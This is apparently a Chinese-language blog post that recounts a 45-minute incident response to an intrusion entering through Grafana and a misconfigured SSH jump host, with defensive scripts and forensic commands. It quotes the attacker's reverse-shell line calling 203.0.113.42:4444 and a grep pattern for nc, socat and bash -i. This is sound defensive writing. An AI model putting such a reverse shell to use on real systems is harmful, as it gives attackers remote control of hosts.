凌晨三点被电话炸醒:一次真实应急响应的 45 分钟全记录

凌晨三点被电话炸醒:一次真实应急响应的 45 分钟全记录

前言

凌晨三点十四分,手机在枕头底下疯狂震动。不是闹钟,是告警短信——连珠炮一样,一秒钟三条。

[CRITICAL] 03:14:15 - 内网跳板机 10.0.3.15 异常登录(来源IP: 203.0.113.42)
[CRITICAL] 03:14:16 - 数据库服务器 10.0.3.21 检测到异常 SQL 查询
[CRITICAL] 03:14:17 - 核心业务服务器 CPU 使用率飙升至 98%

睡意瞬间消失。我一边穿裤子一边打开笔记本电脑,在安全群里吼了一句:"所有人醒醒,内网可能被打穿了。"

这篇文章不是教科书式的应急响应指南,而是这次真实事件的完整复盘。从发现告警到控制住局面,一共 45 分钟。其中前 20 分钟我犯了两个错误,差点让事情变得更糟。


T+0 到 T+5 分钟:信息收集(这一步我差点搞砸)

接到告警后的第一反应是什么?我当时的反应是:赶紧登录服务器看看到底发生了什么

这是错的。

我直接 SSH 登录了那台被标记为异常登录的跳板机。登录成功的那一刻,我才意识到一个问题——如果攻击者还在那台机器上,我的登录行为会暴露给他,甚至我的 SSH 密钥可能被截获。

正确的做法:先通过带外管理(out-of-band)收集信息,不要直接登录可能被入侵的机器。

# 通过堡垒机的审计日志查看,而不是直接登录跳板机
# 堡垒机审计日志查询
grep "2026-05-30 03:" /var/log/bastion/auth.log | tail -50

# 通过 SIEM 平台查看告警详情
# (我们用的是 ELK Stack)
curl -s "http://siem.internal:9200/alerts-*/_search" -H 'Content-Type: application/json' -d '{
  "query": {
    "bool": {
      "must": [
        {"range": {"@timestamp": {"gte": "2026-05-30T03:10:00"}}},
        {"term": {"severity": "critical"}}
      ]
    }
  },
  "sort": [{"@timestamp": {"desc": "asc"}}],
  "size": 20
}' | jq '.hits.hits[]._source'

从 SIEM 日志中,我快速拼凑出了攻击链:

  • 03:10 — 攻击者通过某个对外暴露的管理接口(后来查明是 Grafana 未授权访问漏洞)获取了初始访问权限
  • 03:12 — 通过 Grafana 的 Server-Side Request Forgery (SSRF) 探测内网,发现了跳板机
  • 03:14 — 利用跳板机上一个配置不当的 SSH authorized_keys,获得了登录权限
  • 03:14 — 在跳板机上横向移动,尝试连接数据库服务器

T+5 到 T+15 分钟:遏制(这是最混乱的阶段)

信息收集完毕,接下来要遏制攻击扩散。这一步我犯了第二个错误——我试图手动逐台隔离受影响的服务器

# 我当时执行的命令(错误示范)
iptables -A INPUT -s 203.0.113.42 -j DROP  # 封禁攻击者 IP
# 然后我开始逐台登录服务器检查...

问题是,攻击者已经拿到了跳板机权限,他的横向移动可能不止一条路径。我封了一个 IP,他可能还有其他后门。

正确的做法:启动预定义的应急响应剧本(Playbook),批量执行隔离操作。

#!/bin/bash
# emergency_isolate.sh - 应急隔离脚本(提前准备好的)

echo "[!] 启动应急隔离流程..."

# 1. 通过 SDN 控制器批量隔离受影响网段
curl -X POST "http://sdn-controller:8080/api/isolate" \
  -H "Content-Type: application/json" \
  -d '{"segment": "10.0.3.0/24", "action": "isolate", "allow_mgmt": true}'

# 2. 批量收集各服务器的网络连接快照
for host in 10.0.3.{15,21,22,25}; do
  ssh -o StrictHostKeyChecking=no admin@$host \
    "netstat -tlnp; ss -tnp; last -20; ps auxf" > /tmp/emergency_${host}_$(date +%s).txt &
done

# 3. 通知云平台冻结安全组(防止攻击者通过云控制台操作)
curl -X POST "http://cloud-api/internal/security-group/freeze" \
  -d '{"region": "cn-east-1", "vpc": "vpc-prod", "action": "freeze"}'

echo "[✓] 隔离操作已完成,请检查 /tmp/emergency_*.txt 快照文件"

有预定义的剧本和没有,区别就是 5 分钟搞定 vs 20 分钟手忙脚乱


T+15 到 T+30 分钟:分析与溯源

遏制住攻击扩散后,开始深入分析。这一步的关键是:搞清楚攻击者到底拿走了什么、留下了什么

# 检查跳板机上的可疑进程
ps auxf | grep -E '(nc |ncat |socat |python.*socket|perl.*socket|bash -i)' 

# 检查可疑的 cron 任务
for user in $(cut -d: -f1 /etc/passwd); do
  crontab -l -u $user 2>/dev/null | grep -v '^#' | grep -v '^$'
done

# 检查最近修改的文件(攻击者可能植入了后门)
find / -mtime -1 -type f \( -name "*.sh" -o -name "*.py" -o -name "*.so" \) 2>/dev/null | \
  grep -v -E '(proc|sys|dev)' | head -50

# 检查 SSH authorized_keys 是否被篡改
for home_dir in /home/*; do
  if [ -f "$home_dir/.ssh/authorized_keys" ]; then
    echo "=== $home_dir ==="
    cat "$home_dir/.ssh/authorized_keys"
    stat "$home_dir/.ssh/authorized_keys"  # 检查修改时间
  fi
done

在跳板机上,我们发现了两个关键线索:

  • 攻击者在 /tmp/.X11-unix/ 目录下藏了一个反弹 shell 的脚本
  • 在某个运维账号的 .bash_history 里发现了数据库连接串——密码是明文的
# 攻击者留下的反弹 shell(伪装成 X11 socket 文件)
cat /tmp/.X11-unix/.ice-unix
# 内容:
#!/bin/bash
bash -i >& /dev/tcp/203.0.113.42/4444 0>&1

核心教训:运维人员把数据库密码写在了 .bash_history 里,因为他是这样连接数据库的:

# 千万不要这样连接数据库!!!
mysql -u root -pMyS3cretP@ssw0rd -h 10.0.3.21
# 这条命令会被记录到 .bash_history,攻击者一翻就看到了

正确的做法是用环境变量或者 mysql_config_editor

# 方式一:环境变量(不记录到 history)
export MYSQL_PWD="MyS3cretP@ssw0rd"
mysql -u root -h 10.0.3.21

# 方式二:mysql_config_editor(加密存储)
mysql_config_editor set --login-path=prod --host=10.0.3.21 --user=root --password
# 之后连接只需要:
mysql --login-path=prod

T+30 到 T+45 分钟:恢复与复盘

确认攻击者没有在系统中留下持久化后门后,开始恢复服务。

# 1. 清除攻击者留下的所有文件
rm -f /tmp/.X11-unix/.ice-unix
# 2. 轮换所有可能泄露的凭据
# 3. 修复 Grafana 未授权访问漏洞
# 4. 恢复网络隔离

恢复之后,我做了三件事:

第一,清理 bash_history 中的敏感信息

# 全局设置:bash_history 不记录包含密码的命令
echo 'export HISTIGNORE="*password*:*passwd*:*mysql*p*:*ssh*p*"' >> /etc/profile

第二,给所有对外暴露的管理接口加上认证和 IP 白名单

# nginx 配置:Grafana 只允许办公网访问
location /grafana/ {
    allow 10.0.1.0/24;  # 办公网
    allow 10.0.2.0/24;  # VPN
    deny all;
    
    proxy_pass http://grafana:3000/;
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;
}

第三,把这次事件写进应急响应知识库。以后遇到类似告警,不用再从零开始分析。


这次事件的代价和收获

代价

  • 业务中断约 25 分钟
  • 3 台服务器需要重装(因为无法 100% 确认没有后门)
  • 200+ 个数据库密码需要轮换
  • 写了一份 12 页的事故报告

收获

  • 建立了完整的应急响应剧本,下次不再手忙脚乱
  • 部署了数据库活动监控,敏感操作实时告警
  • 所有管理接口加了双因素认证
  • 运维规范中增加了"禁止在命令行传递密码"的条款

最深刻的一点:应急响应不是一个人的事。这次事件中,我前 15 分钟几乎是一个人在战斗,效率很低。后来拉上了运维和 DBA,才快速定位了问题。现在我们的应急响应小组是 24 小时轮值,确保任何时候发生安全事件,5 分钟内至少有三个人同时介入。


这次应急响应经历对你有帮助吗?如果你也有类似的故事,欢迎在评论区分享。


关注「安全值班室」公众号

每天AI安全早报 + 实战攻防案例 + 网安学习路线连载

关注安全值班室

posted on 2026-05-31 12:15  明.Sir  阅读(26)  评论(0)    收藏  举报

导航